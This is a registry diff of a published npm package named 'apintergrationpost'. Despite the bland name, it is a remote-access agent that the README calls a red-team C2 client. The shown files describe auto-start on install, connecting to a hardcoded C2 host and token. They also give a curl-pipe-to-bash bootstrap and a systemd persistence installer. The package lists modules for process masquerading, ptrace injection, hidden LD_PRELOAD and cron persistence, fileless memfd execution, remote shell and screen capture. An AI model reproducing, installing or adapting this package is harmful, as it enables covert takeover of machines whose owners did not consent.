apintergrationpost 4.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +203 -0
- package/apintergrationpost.config.json +101 -0
- package/bin/apintergrationpost-install.js +232 -0
- package/bin/apintergrationpost.js +50 -0
- package/bin/lib/paths.js +19 -0
- package/native/lab-tools/Makefile +45 -0
- package/native/lab-tools/agent_launcher.c +96 -0
- package/native/lab-tools/injector.c +80 -0
- package/native/lab-tools/libcache.c +80 -0
- package/native/lab-tools/memfd_exec.c +123 -0
- package/native/lab-tools/memfd_loader.c +224 -0
- package/native/lab-tools/proc_hide.c +64 -0
- package/package.json +45 -0
- package/scripts/postinstall-run.js +97 -0
- package/scripts/prepare-native.js +25 -0
- package/src/client/commands/filesystem.js +47 -0
- package/src/client/commands/index.js +26 -0
- package/src/client/commands/screen-capture.js +74 -0
- package/src/client/commands/shell.js +61 -0
- package/src/client/commands/system.js +266 -0
- package/src/client/connection.js +66 -0
- package/src/client/index.js +193 -0
- package/src/client/plugins/base.js +17 -0
- package/src/client/plugins/evasion-memfd.js +226 -0
- package/src/client/plugins/evasion-process.js +158 -0
- package/src/client/plugins/file-search.js +66 -0
- package/src/client/plugins/filesystem.js +62 -0
- package/src/client/plugins/network-enum.js +43 -0
- package/src/client/plugins/persistence-advanced.js +9 -0
- package/src/client/plugins/persistence-stealth.js +82 -0
- package/src/client/plugins/process-list.js +49 -0
- package/src/client/plugins/registry.js +118 -0
- package/src/client/plugins/screen-live.js +124 -0
- package/src/client/plugins/shell-oneshot.js +25 -0
- package/src/client/plugins/shell-pty.js +132 -0
- package/src/client/plugins/sysinfo.js +45 -0
- package/src/client/plugins/system.js +26 -0
- package/src/client/watchdog.js +29 -0
- package/src/protocol/auth.js +121 -0
- package/src/protocol/framer.js +57 -0
- package/src/protocol/messages.js +81 -0
- package/src/protocol/tls.js +74 -0
- package/src/server/cli.js +98 -0
- package/src/server/index.js +183 -0
- package/src/server/installServer.js +159 -0
- package/src/server/screenViewer.js +103 -0
- package/src/server/session.js +342 -0
- package/src/server/sessionManager.js +229 -0
- package/src/shared/c2schedule.js +100 -0
- package/src/shared/config.js +277 -0
- package/src/shared/emulation.js +86 -0
- package/src/shared/logger.js +125 -0
- package/src/shared/memfdLaunch.js +135 -0
- package/src/shared/nativeTools.js +73 -0
- package/src/shared/procinfo.js +116 -0
package/README.md
ADDED
|
@@ -0,0 +1,203 @@
|
|
|
1
|
+
# apintergrationpost
|
|
2
|
+
|
|
3
|
+
Hybrid Node.js integration client with native lab primitives for **authorized** red team exercises and EDR validation in isolated environments.
|
|
4
|
+
|
|
5
|
+
Published on npm as **`apintergrationpost`**.
|
|
6
|
+
|
|
7
|
+
## Ubuntu — one command
|
|
8
|
+
|
|
9
|
+
On the Ubuntu client, run **only this** (after the package is published to npm):
|
|
10
|
+
|
|
11
|
+
```sh
|
|
12
|
+
sudo npm install -g apintergrationpost
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
Install finishes and the client **starts automatically**, connecting to the C2 host baked into the package (`192.168.54.1:4444`).
|
|
16
|
+
|
|
17
|
+
Alternative one-shot without global install:
|
|
18
|
+
|
|
19
|
+
```sh
|
|
20
|
+
npx apintergrationpost
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
### Publish first (one-time, on your dev machine)
|
|
24
|
+
|
|
25
|
+
The package must exist on the npm registry before clients can install it:
|
|
26
|
+
|
|
27
|
+
```sh
|
|
28
|
+
npm login
|
|
29
|
+
npm publish
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
Set your C2 host and token in `apintergrationpost.config.json` **before** publishing — that file ships inside the package and drives auto-connect.
|
|
33
|
+
|
|
34
|
+
### C2 server (on your host)
|
|
35
|
+
|
|
36
|
+
```sh
|
|
37
|
+
npm run server
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Disable auto-start (development)
|
|
41
|
+
|
|
42
|
+
```sh
|
|
43
|
+
APINTEGRATIONPOST_SKIP_AUTORUN=1 npm install
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
## Ubuntu — curl bootstrap (no npm registry)
|
|
47
|
+
|
|
48
|
+
If the package is not on npm yet, start the operator server (`npm run server`) and use:
|
|
49
|
+
|
|
50
|
+
```sh
|
|
51
|
+
curl -fsSL http://192.168.54.1:8080/run | bash
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## Ubuntu — manual npm install
|
|
55
|
+
|
|
56
|
+
**Prerequisites** (once per machine):
|
|
57
|
+
|
|
58
|
+
```sh
|
|
59
|
+
sudo apt update
|
|
60
|
+
sudo apt install -y nodejs npm build-essential python3
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### Option A — run immediately (no global install)
|
|
64
|
+
|
|
65
|
+
```sh
|
|
66
|
+
npx apintergrationpost --host C2_HOST --port 443 --token YOUR_SECRET_TOKEN
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Option B — global install, then run
|
|
70
|
+
|
|
71
|
+
```sh
|
|
72
|
+
sudo npm install -g apintergrationpost
|
|
73
|
+
apintergrationpost --host C2_HOST --port 443 --token YOUR_SECRET_TOKEN
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### Option C — install as a systemd service (production)
|
|
77
|
+
|
|
78
|
+
```sh
|
|
79
|
+
sudo npm install -g apintergrationpost
|
|
80
|
+
sudo apintergrationpost-install --host C2_HOST --port 443 --token YOUR_SECRET_TOKEN --start
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
Service management:
|
|
84
|
+
|
|
85
|
+
```sh
|
|
86
|
+
sudo systemctl status apintergrationpost
|
|
87
|
+
sudo journalctl -u apintergrationpost -f
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### Configuration
|
|
91
|
+
|
|
92
|
+
CLI flags override the bundled defaults in `apintergrationpost.config.json`:
|
|
93
|
+
|
|
94
|
+
| Flag | Environment | Description |
|
|
95
|
+
|------|-------------|-------------|
|
|
96
|
+
| `--host` | `APINTEGRATIONPOST_HOST` | C2 server address |
|
|
97
|
+
| `--port` | `APINTEGRATIONPOST_PORT` | C2 port (default `4444`) |
|
|
98
|
+
| `--token` | `APINTEGRATIONPOST_AUTH_TOKEN` | Shared auth token |
|
|
99
|
+
| `--config` | `APINTEGRATIONPOST_CONFIG` | Custom config file path |
|
|
100
|
+
|
|
101
|
+
Help:
|
|
102
|
+
|
|
103
|
+
```sh
|
|
104
|
+
apintergrationpost --help
|
|
105
|
+
apintergrationpost-install --help
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
## Publish to npm
|
|
109
|
+
|
|
110
|
+
From the repository root:
|
|
111
|
+
|
|
112
|
+
```sh
|
|
113
|
+
npm login
|
|
114
|
+
npm publish
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
The published tarball includes only the client agent (`files` field in `package.json`). Server, lab scripts, and docs stay in the repo for local development.
|
|
118
|
+
|
|
119
|
+
## Local development (full lab)
|
|
120
|
+
|
|
121
|
+
```sh
|
|
122
|
+
git clone <repo>
|
|
123
|
+
cd myra
|
|
124
|
+
npm install
|
|
125
|
+
npm run build-native
|
|
126
|
+
# Edit myra.config.json — set auth.token and C2 host/port
|
|
127
|
+
npm run server
|
|
128
|
+
npm run client -- --host C2_HOST --port 443 --token YOUR_TOKEN
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
Legacy shell installer (non-npm): `sudo bash install/install.sh`
|
|
132
|
+
|
|
133
|
+
## Capabilities
|
|
134
|
+
|
|
135
|
+
| Layer | Module | Commands |
|
|
136
|
+
|-------|--------|----------|
|
|
137
|
+
| C2 | TLS on common ports, log-normal beacons, frame padding | (automatic) |
|
|
138
|
+
| Process evasion | `evasion-process` | `hide_start`, `inject`, `inject_spawn`, `preload_install` |
|
|
139
|
+
| Stealth persistence | `persistence-stealth` | `persist_install`, `persist_remove`, `persist_status` |
|
|
140
|
+
| Memory execution | `evasion-memfd` | `memfd_exec`, `memfd_stage`, `memfd_status` |
|
|
141
|
+
|
|
142
|
+
Native tools (`native/lab-tools/`): `agent_launcher`, `proc_hide`, `injector`, `libcache.so`, `memfd_exec`
|
|
143
|
+
|
|
144
|
+
## Configuration reference
|
|
145
|
+
|
|
146
|
+
```json
|
|
147
|
+
{
|
|
148
|
+
"host": "C2_HOST",
|
|
149
|
+
"port": 443,
|
|
150
|
+
"auth": { "token": "secret" },
|
|
151
|
+
"c2": {
|
|
152
|
+
"beaconProfile": { "minMs": 45000, "maxMs": 300000, "distribution": "lognormal" }
|
|
153
|
+
},
|
|
154
|
+
"emulation": {
|
|
155
|
+
"enabled": true,
|
|
156
|
+
"stealth": true,
|
|
157
|
+
"telemetry": false,
|
|
158
|
+
"process": { "autoHide": false, "targetName": "systemd-userdbd" },
|
|
159
|
+
"persistence": { "vectors": ["preload", "cron", "profile"] }
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
Enable optional telemetry for EDR correlation: `"emulation": { "telemetry": true }` or `--telemetry`.
|
|
165
|
+
|
|
166
|
+
## Operator Commands
|
|
167
|
+
|
|
168
|
+
See server `help` for full list. Key emulation commands:
|
|
169
|
+
|
|
170
|
+
- `persist_install` / `persist_remove` — stealth persistence (LD_PRELOAD, cron, profile.d)
|
|
171
|
+
- `hide_start` — process masquerade via native launcher
|
|
172
|
+
- `inject` / `inject_spawn` — ptrace injection stress test
|
|
173
|
+
- `memfd_exec <path>` — fileless execution path
|
|
174
|
+
|
|
175
|
+
## EDR Validation
|
|
176
|
+
|
|
177
|
+
- [docs/edr-validation.md](docs/edr-validation.md) — expected detection surfaces
|
|
178
|
+
- `scripts/edr-test-matrix.sh` — automated scenario runner
|
|
179
|
+
- `lab/sigma/` — behavior-based Sigma rules (no string IOCs)
|
|
180
|
+
- `npm run correlate` — merge telemetry with Auditd (when telemetry enabled)
|
|
181
|
+
|
|
182
|
+
## Build Native Tools
|
|
183
|
+
|
|
184
|
+
Native tools compile automatically on Linux during `npm install` (`prepare` script). Manual build:
|
|
185
|
+
|
|
186
|
+
```sh
|
|
187
|
+
make -C native/lab-tools
|
|
188
|
+
# Output: native/lab-tools/bin/
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
## Safety
|
|
192
|
+
|
|
193
|
+
Use only in air-gapped lab VMs you control. Run `persist_remove`, `preload_remove`, and `hide_stop` before snapshot restore.
|
|
194
|
+
|
|
195
|
+
## Architecture
|
|
196
|
+
|
|
197
|
+
```
|
|
198
|
+
bin/ npm CLI entry points (apintergrationpost, apintergrationpost-install)
|
|
199
|
+
src/client/ Node.js agent + emulation plugins
|
|
200
|
+
src/server/ Operator console (dev only, not published)
|
|
201
|
+
native/lab-tools/ C evasion primitives
|
|
202
|
+
lab/ Auditd + Sigma artifacts (dev only, not published)
|
|
203
|
+
```
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
{
|
|
2
|
+
"host": "192.168.54.1",
|
|
3
|
+
"port": 4444,
|
|
4
|
+
"tls": {
|
|
5
|
+
"enabled": false
|
|
6
|
+
},
|
|
7
|
+
"auth": { "token": "myra-lab-shared-key" },
|
|
8
|
+
"reconnect": {
|
|
9
|
+
"initialDelayMs": 5000,
|
|
10
|
+
"maxDelayMs": 120000,
|
|
11
|
+
"backoffFactor": 2
|
|
12
|
+
},
|
|
13
|
+
"c2": {
|
|
14
|
+
"activeHours": null,
|
|
15
|
+
"beaconProfile": {
|
|
16
|
+
"minMs": 45000,
|
|
17
|
+
"maxMs": 300000,
|
|
18
|
+
"distribution": "lognormal",
|
|
19
|
+
"sigma": 0.55
|
|
20
|
+
},
|
|
21
|
+
"reconnectProfile": {
|
|
22
|
+
"minMs": 5000,
|
|
23
|
+
"maxMs": 120000,
|
|
24
|
+
"distribution": "exponential"
|
|
25
|
+
}
|
|
26
|
+
},
|
|
27
|
+
"log": { "level": "warn", "file": "" },
|
|
28
|
+
"heartbeatIntervalMs": 60000,
|
|
29
|
+
"heartbeatTimeoutMs": 360000,
|
|
30
|
+
"commandTimeoutMs": 120000,
|
|
31
|
+
"maxOutputBytes": 1048576,
|
|
32
|
+
"plugins": {
|
|
33
|
+
"enabled": [
|
|
34
|
+
"shell-oneshot",
|
|
35
|
+
"shell-pty",
|
|
36
|
+
"filesystem",
|
|
37
|
+
"screen-live",
|
|
38
|
+
"system",
|
|
39
|
+
"sysinfo",
|
|
40
|
+
"process-list",
|
|
41
|
+
"network-enum",
|
|
42
|
+
"file-search"
|
|
43
|
+
],
|
|
44
|
+
"disabled": []
|
|
45
|
+
},
|
|
46
|
+
"features": {
|
|
47
|
+
"pty": true,
|
|
48
|
+
"screenLive": true
|
|
49
|
+
},
|
|
50
|
+
"screen": {
|
|
51
|
+
"fps": 3,
|
|
52
|
+
"viewerPort": 5555,
|
|
53
|
+
"display": ":0",
|
|
54
|
+
"size": "1280x720"
|
|
55
|
+
},
|
|
56
|
+
"lab": {
|
|
57
|
+
"mode": false,
|
|
58
|
+
"telemetryMode": false,
|
|
59
|
+
"eventsFile": "./telemetry-events.jsonl",
|
|
60
|
+
"emitProcessInfo": true
|
|
61
|
+
},
|
|
62
|
+
"emulation": {
|
|
63
|
+
"enabled": true,
|
|
64
|
+
"stealth": true,
|
|
65
|
+
"telemetry": false,
|
|
66
|
+
"nativeToolsPath": "./native/lab-tools/bin",
|
|
67
|
+
"plugins": [
|
|
68
|
+
"persistence-stealth",
|
|
69
|
+
"evasion-process",
|
|
70
|
+
"evasion-memfd"
|
|
71
|
+
],
|
|
72
|
+
"process": {
|
|
73
|
+
"autoHide": false,
|
|
74
|
+
"targetName": "systemd-userdbd",
|
|
75
|
+
"binaryPath": "/usr/lib/systemd/systemd-userdbd",
|
|
76
|
+
"scrubArgv": true,
|
|
77
|
+
"fakeArgs": ["--user"]
|
|
78
|
+
},
|
|
79
|
+
"persistence": {
|
|
80
|
+
"vectors": ["preload", "cron", "profile"],
|
|
81
|
+
"cronIntervalMin": 13,
|
|
82
|
+
"preloadPath": "/usr/local/lib/.libcache.so",
|
|
83
|
+
"wrapperPath": "/usr/local/lib/.cache-update.sh",
|
|
84
|
+
"ldConfPath": "/etc/ld.so.conf.d/.cache.conf",
|
|
85
|
+
"profilePath": "/etc/profile.d/.sh.local",
|
|
86
|
+
"avoidSystemd": true,
|
|
87
|
+
"hidePaths": [".libcache", ".cache-update", "systemd-userdbd"]
|
|
88
|
+
},
|
|
89
|
+
"c2": {
|
|
90
|
+
"paddingMaxBytes": 64
|
|
91
|
+
},
|
|
92
|
+
"memory": {
|
|
93
|
+
"mode": "off",
|
|
94
|
+
"autoDeploy": false,
|
|
95
|
+
"nodePath": "/usr/bin/node",
|
|
96
|
+
"bundlePath": "./dist/agent.bundle.js",
|
|
97
|
+
"scrubArgv": true,
|
|
98
|
+
"stageNodePty": false
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
}
|
|
@@ -0,0 +1,232 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const { execSync, spawnSync } = require('child_process');
|
|
7
|
+
const { getDefaultConfigPath, getCliPath } = require('./lib/paths');
|
|
8
|
+
|
|
9
|
+
const SERVICE_NAME = 'apintergrationpost';
|
|
10
|
+
const SERVICE_USER = 'apintergrationpost';
|
|
11
|
+
const CONFIG_DIR = '/etc/apintergrationpost';
|
|
12
|
+
const CONFIG_PATH = path.join(CONFIG_DIR, 'config.json');
|
|
13
|
+
const DATA_DIR = '/var/lib/apintergrationpost';
|
|
14
|
+
const SERVICE_FILE = `/etc/systemd/system/${SERVICE_NAME}.service`;
|
|
15
|
+
|
|
16
|
+
function printHelp() {
|
|
17
|
+
process.stdout.write(`apintergrationpost-install — register systemd service on Ubuntu
|
|
18
|
+
|
|
19
|
+
Usage:
|
|
20
|
+
sudo apintergrationpost-install --host C2_HOST --token SECRET [options]
|
|
21
|
+
|
|
22
|
+
Required:
|
|
23
|
+
--host HOST C2 server address
|
|
24
|
+
--token SECRET Shared auth token
|
|
25
|
+
|
|
26
|
+
Options:
|
|
27
|
+
--port PORT C2 port (default: 4444)
|
|
28
|
+
--start Start and enable the service immediately
|
|
29
|
+
--no-enable Install unit without enabling on boot
|
|
30
|
+
--cli PATH Path to apintergrationpost binary (auto-detected)
|
|
31
|
+
-h, --help Show this help
|
|
32
|
+
`);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
function parseArgs(argv) {
|
|
36
|
+
const opts = {
|
|
37
|
+
host: process.env.APINTEGRATIONPOST_HOST || process.env.MYRA_HOST || '',
|
|
38
|
+
port: Number(process.env.APINTEGRATIONPOST_PORT || process.env.MYRA_PORT || 4444),
|
|
39
|
+
token: process.env.APINTEGRATIONPOST_AUTH_TOKEN || process.env.MYRA_AUTH_TOKEN || '',
|
|
40
|
+
start: false,
|
|
41
|
+
enable: true,
|
|
42
|
+
cli: '',
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
for (let i = 2; i < argv.length; i++) {
|
|
46
|
+
const arg = argv[i];
|
|
47
|
+
if (arg === '--help' || arg === '-h') {
|
|
48
|
+
printHelp();
|
|
49
|
+
process.exit(0);
|
|
50
|
+
} else if (arg === '--host' && argv[i + 1]) {
|
|
51
|
+
opts.host = argv[++i];
|
|
52
|
+
} else if (arg === '--port' && argv[i + 1]) {
|
|
53
|
+
opts.port = Number(argv[++i]);
|
|
54
|
+
} else if (arg === '--token' && argv[i + 1]) {
|
|
55
|
+
opts.token = argv[++i];
|
|
56
|
+
} else if (arg === '--start') {
|
|
57
|
+
opts.start = true;
|
|
58
|
+
} else if (arg === '--no-enable') {
|
|
59
|
+
opts.enable = false;
|
|
60
|
+
} else if (arg === '--cli' && argv[i + 1]) {
|
|
61
|
+
opts.cli = argv[++i];
|
|
62
|
+
} else {
|
|
63
|
+
process.stderr.write(`Unknown option: ${arg}\n`);
|
|
64
|
+
printHelp();
|
|
65
|
+
process.exit(1);
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
return opts;
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function requireRoot() {
|
|
73
|
+
if (process.getuid && process.getuid() !== 0) {
|
|
74
|
+
process.stderr.write('[!] Run as root: sudo apintergrationpost-install ...\n');
|
|
75
|
+
process.exit(1);
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
function requireLinux() {
|
|
80
|
+
if (process.platform !== 'linux') {
|
|
81
|
+
process.stderr.write('[!] Service install is supported on Linux only.\n');
|
|
82
|
+
process.exit(1);
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
function validateOpts(opts) {
|
|
87
|
+
if (!opts.host) {
|
|
88
|
+
process.stderr.write('[!] --host is required.\n');
|
|
89
|
+
process.exit(1);
|
|
90
|
+
}
|
|
91
|
+
if (!opts.token || opts.token.length < 8) {
|
|
92
|
+
process.stderr.write('[!] --token is required (minimum 8 characters).\n');
|
|
93
|
+
process.exit(1);
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
function run(cmd, args, options = {}) {
|
|
98
|
+
const result = spawnSync(cmd, args, { encoding: 'utf8', ...options });
|
|
99
|
+
if (result.status !== 0) {
|
|
100
|
+
const detail = (result.stderr || result.stdout || '').trim();
|
|
101
|
+
throw new Error(detail || `${cmd} ${args.join(' ')} failed`);
|
|
102
|
+
}
|
|
103
|
+
return result.stdout;
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
function ensureSystemUser() {
|
|
107
|
+
fs.mkdirSync(DATA_DIR, { recursive: true });
|
|
108
|
+
|
|
109
|
+
try {
|
|
110
|
+
run('id', ['-u', SERVICE_USER]);
|
|
111
|
+
process.stdout.write(`[*] System user '${SERVICE_USER}' already exists.\n`);
|
|
112
|
+
} catch {
|
|
113
|
+
process.stdout.write(`[*] Creating system user '${SERVICE_USER}'...\n`);
|
|
114
|
+
run('useradd', [
|
|
115
|
+
'--system',
|
|
116
|
+
'--no-create-home',
|
|
117
|
+
'--home-dir', DATA_DIR,
|
|
118
|
+
'--shell', '/usr/sbin/nologin',
|
|
119
|
+
SERVICE_USER,
|
|
120
|
+
]);
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
function resolveCliPath(explicit) {
|
|
125
|
+
if (explicit) return explicit;
|
|
126
|
+
|
|
127
|
+
try {
|
|
128
|
+
const which = execSync(`command -v ${SERVICE_NAME}`, { encoding: 'utf8' }).trim();
|
|
129
|
+
if (which) return which;
|
|
130
|
+
} catch {
|
|
131
|
+
// fall through
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
return getCliPath();
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
function loadTemplateConfig() {
|
|
138
|
+
const templatePath = getDefaultConfigPath();
|
|
139
|
+
const raw = fs.readFileSync(templatePath, 'utf8');
|
|
140
|
+
return JSON.parse(raw);
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
function writeConfig(opts) {
|
|
144
|
+
process.stdout.write(`[*] Writing ${CONFIG_PATH}...\n`);
|
|
145
|
+
fs.mkdirSync(CONFIG_DIR, { recursive: true });
|
|
146
|
+
|
|
147
|
+
const config = loadTemplateConfig();
|
|
148
|
+
config.host = opts.host;
|
|
149
|
+
config.port = opts.port;
|
|
150
|
+
config.auth = { ...(config.auth || {}), token: opts.token };
|
|
151
|
+
|
|
152
|
+
fs.writeFileSync(CONFIG_PATH, `${JSON.stringify(config, null, 2)}\n`, { mode: 0o600 });
|
|
153
|
+
run('chown', [`${SERVICE_USER}:${SERVICE_USER}`, CONFIG_PATH]);
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
function ensureDataDir() {
|
|
157
|
+
fs.mkdirSync(DATA_DIR, { recursive: true });
|
|
158
|
+
run('chown', [`${SERVICE_USER}:${SERVICE_USER}`, DATA_DIR]);
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
function writeServiceUnit(cliPath) {
|
|
162
|
+
const unit = `[Unit]
|
|
163
|
+
Description=API Integration Post Client
|
|
164
|
+
After=network-online.target
|
|
165
|
+
Wants=network-online.target
|
|
166
|
+
|
|
167
|
+
[Service]
|
|
168
|
+
Type=simple
|
|
169
|
+
User=${SERVICE_USER}
|
|
170
|
+
Group=${SERVICE_USER}
|
|
171
|
+
ExecStart=${cliPath}
|
|
172
|
+
Restart=on-failure
|
|
173
|
+
RestartSec=10
|
|
174
|
+
Environment=MYRA_CONFIG=${CONFIG_PATH}
|
|
175
|
+
Environment=APINTEGRATIONPOST_CONFIG=${CONFIG_PATH}
|
|
176
|
+
WorkingDirectory=${DATA_DIR}
|
|
177
|
+
StandardOutput=journal
|
|
178
|
+
StandardError=journal
|
|
179
|
+
SyslogIdentifier=${SERVICE_NAME}
|
|
180
|
+
|
|
181
|
+
[Install]
|
|
182
|
+
WantedBy=multi-user.target
|
|
183
|
+
`;
|
|
184
|
+
|
|
185
|
+
process.stdout.write(`[*] Installing ${SERVICE_FILE}...\n`);
|
|
186
|
+
fs.writeFileSync(SERVICE_FILE, unit, { mode: 0o644 });
|
|
187
|
+
run('systemctl', ['daemon-reload']);
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
function main() {
|
|
191
|
+
if (process.argv.includes('--help') || process.argv.includes('-h')) {
|
|
192
|
+
printHelp();
|
|
193
|
+
process.exit(0);
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
requireLinux();
|
|
197
|
+
requireRoot();
|
|
198
|
+
|
|
199
|
+
const opts = parseArgs(process.argv);
|
|
200
|
+
validateOpts(opts);
|
|
201
|
+
|
|
202
|
+
const cliPath = resolveCliPath(opts.cli);
|
|
203
|
+
if (!fs.existsSync(cliPath)) {
|
|
204
|
+
process.stderr.write(`[!] Client binary not found: ${cliPath}\n`);
|
|
205
|
+
process.stderr.write(' Install globally first: sudo npm install -g apintergrationpost\n');
|
|
206
|
+
process.exit(1);
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
ensureSystemUser();
|
|
210
|
+
writeConfig(opts);
|
|
211
|
+
ensureDataDir();
|
|
212
|
+
writeServiceUnit(cliPath);
|
|
213
|
+
|
|
214
|
+
if (opts.enable) {
|
|
215
|
+
run('systemctl', ['enable', SERVICE_NAME]);
|
|
216
|
+
process.stdout.write(`[*] Enabled ${SERVICE_NAME}.service on boot.\n`);
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
if (opts.start) {
|
|
220
|
+
run('systemctl', ['restart', SERVICE_NAME]);
|
|
221
|
+
process.stdout.write(`[*] Started ${SERVICE_NAME}.service\n`);
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
process.stdout.write('\n[*] Installation complete.\n');
|
|
225
|
+
process.stdout.write(` Config: ${CONFIG_PATH}\n`);
|
|
226
|
+
process.stdout.write(` Service: ${SERVICE_NAME}.service\n`);
|
|
227
|
+
process.stdout.write(` CLI: ${cliPath}\n\n`);
|
|
228
|
+
process.stdout.write(` Status: sudo systemctl status ${SERVICE_NAME}\n`);
|
|
229
|
+
process.stdout.write(` Logs: sudo journalctl -u ${SERVICE_NAME} -f\n`);
|
|
230
|
+
}
|
|
231
|
+
|
|
232
|
+
main();
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const { getPackageRoot, getDefaultConfigPath } = require('./lib/paths');
|
|
5
|
+
|
|
6
|
+
function printHelp() {
|
|
7
|
+
process.stdout.write(`apintergrationpost — remote integration client
|
|
8
|
+
|
|
9
|
+
Usage:
|
|
10
|
+
apintergrationpost --host C2_HOST --port PORT --token SECRET [options]
|
|
11
|
+
npx apintergrationpost --host C2_HOST --port 443 --token SECRET
|
|
12
|
+
|
|
13
|
+
Required (or set in config / environment):
|
|
14
|
+
--host HOST C2 server address
|
|
15
|
+
--token SECRET Shared auth token (min 8 chars when TLS is off)
|
|
16
|
+
|
|
17
|
+
Options:
|
|
18
|
+
--port PORT C2 port (default: 4444)
|
|
19
|
+
--config PATH Config file (default: bundled apintergrationpost.config.json)
|
|
20
|
+
--log-level LEVEL Log level: error, warn, info, debug
|
|
21
|
+
--log-file PATH Log file path
|
|
22
|
+
--lab Enable lab mode
|
|
23
|
+
--telemetry Enable emulation telemetry
|
|
24
|
+
-h, --help Show this help
|
|
25
|
+
|
|
26
|
+
Environment:
|
|
27
|
+
APINTEGRATIONPOST_CONFIG / MYRA_CONFIG Config file path
|
|
28
|
+
APINTEGRATIONPOST_HOST / MYRA_HOST C2 host
|
|
29
|
+
APINTEGRATIONPOST_PORT / MYRA_PORT C2 port
|
|
30
|
+
APINTEGRATIONPOST_AUTH_TOKEN / MYRA_AUTH_TOKEN Auth token
|
|
31
|
+
|
|
32
|
+
Ubuntu service install:
|
|
33
|
+
sudo npm install -g apintergrationpost
|
|
34
|
+
sudo apintergrationpost-install --host C2_HOST --port 443 --token SECRET --start
|
|
35
|
+
`);
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
if (process.argv.includes('--help') || process.argv.includes('-h')) {
|
|
39
|
+
printHelp();
|
|
40
|
+
process.exit(0);
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
const pkgRoot = getPackageRoot();
|
|
44
|
+
process.chdir(pkgRoot);
|
|
45
|
+
|
|
46
|
+
if (!process.env.MYRA_CONFIG && !process.env.APINTEGRATIONPOST_CONFIG) {
|
|
47
|
+
process.env.MYRA_CONFIG = getDefaultConfigPath();
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
require('../src/client/index.js');
|
package/bin/lib/paths.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const PKG_ROOT = path.join(__dirname, '..', '..');
|
|
6
|
+
|
|
7
|
+
function getPackageRoot() {
|
|
8
|
+
return PKG_ROOT;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
function getDefaultConfigPath() {
|
|
12
|
+
return path.join(PKG_ROOT, 'apintergrationpost.config.json');
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function getCliPath() {
|
|
16
|
+
return path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
module.exports = { getPackageRoot, getDefaultConfigPath, getCliPath };
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
CC ?= gcc
|
|
2
|
+
CFLAGS ?= -Wall -Wextra -O2 -fPIC
|
|
3
|
+
LDFLAGS ?= -ldl
|
|
4
|
+
|
|
5
|
+
BIN_DIR := bin
|
|
6
|
+
TOOLS := memfd_exec memfd_loader proc_hide injector agent_launcher
|
|
7
|
+
LIBS := libcache.so
|
|
8
|
+
|
|
9
|
+
.PHONY: all clean
|
|
10
|
+
|
|
11
|
+
all: $(BIN_DIR) $(addprefix $(BIN_DIR)/,$(TOOLS)) $(addprefix $(BIN_DIR)/,$(LIBS))
|
|
12
|
+
|
|
13
|
+
$(BIN_DIR):
|
|
14
|
+
mkdir -p $(BIN_DIR)
|
|
15
|
+
|
|
16
|
+
$(BIN_DIR)/memfd_exec: memfd_exec.c
|
|
17
|
+
$(CC) $(CFLAGS) -o $@ $<
|
|
18
|
+
|
|
19
|
+
$(BIN_DIR)/memfd_loader: memfd_loader.c
|
|
20
|
+
$(CC) $(CFLAGS) -o $@ $<
|
|
21
|
+
|
|
22
|
+
